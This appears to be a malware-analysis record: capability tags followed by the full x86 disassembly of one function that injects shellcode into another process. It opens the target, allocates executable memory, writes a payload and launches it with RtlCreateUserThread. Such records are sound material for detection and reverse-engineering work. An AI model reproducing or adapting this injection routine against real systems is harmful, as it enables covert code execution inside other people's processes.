Function at 0x10002970
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 8], 0
push str.RtlCreateUserThread
push 0x10016fe4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x100029ed
jmp 0x10002b18
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10002a0c
jmp 0x10002b18
push 0x40
push 0x1000
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x10002a31
jmp 0x10002b18
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10002a52
jmp 0x10002b18
cmp dword [ebp + 0x14], 0
je 0x10002aa1
cmp dword [ebp + 0x18], 0
jbe 0x10002aa1
push 0x40
push 0x1000
mov edx, dword [ebp + 0x18]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10002a83
jmp 0x10002b18
push 0
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10002aa1
jmp 0x10002b18
mov edx, dword [ebp - 4]
push edx
call fcn.10001d40
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x18], 0
je 0x10002abb
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
jmp 0x10002ac1
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x34], ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x2c]
cmp dword [ebp - 0x14], 0
jne 0x10002aec
jmp 0x10002b18
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10002afd
jmp 0x10002b18
push 0xffffffffffffffff
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x24], 1
xor ecx, ecx
jne 0x100029c8
cmp dword [ebp - 0x30], 0
je 0x10002b2f
push 0x8000
push 0
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x1c], 0
je 0x10002b4a
push 0x8000
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 0x18], 0
je 0x10002b65
push 0x8000
push 0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 0x14], 0
je 0x10002b75
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x10002b85
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret 0x14